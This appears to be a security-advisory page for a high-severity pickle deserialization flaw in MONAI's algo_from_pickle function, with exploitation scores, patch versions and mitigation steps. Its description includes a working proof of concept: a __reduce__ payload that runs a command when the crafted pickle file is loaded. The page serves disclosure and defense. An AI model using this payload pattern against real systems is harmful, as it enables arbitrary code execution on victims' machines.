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HIGH severity

MONAI: Unsafe functions lead to pickle deserialization rceGHSA-89gg-p5r5-q6r4

HIGHFix: Project-MONAI/MONAI@9078a72

GHSA-89gg-p5r5-q6r4 is a high-severity (CVSS 7.6) Deserialization of Untrusted Data vulnerability in monai. A fix is available for monai — see the affected versions and patch details below.

Also known asCVE-2026-100846PYSEC-2026-4021
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-89gg-p5r5-q6r4.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs30th percentile — riskier than 30% of all scored CVEsHighest risk
0.00%0.29%0.57%0.86%0.3%0.4%0.4%Oct 26Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍monai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

<img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" />

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImonaiall versions1.6.0pip install --upgrade 'monai==1.6.0'

Affected Products

1 product · 1 configurations
Application
monaiproject-monai
< 1.5.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update monai to 1.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-89gg-p5r5-q6r4 is resolved across your whole dependency graph.

  3. Workarounds

    Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.

Frequently Asked Questions

### Summary The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities. ### Details poc ``` import pickle import subprocess class MaliciousAlgo: def __reduce__(self): return (subprocess.call, (['calc.exe'],)) malicious_algo_bytes = pickle.dumps(MaliciousAlgo()) attack_data = { "algo_bytes": malicious_algo_bytes, } attack_pickle_file = "attack_algo.pkl" wit
O3 Security · Impact-Aware SCA

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MONAI: Unsafe functions lead to pickle deserialization rce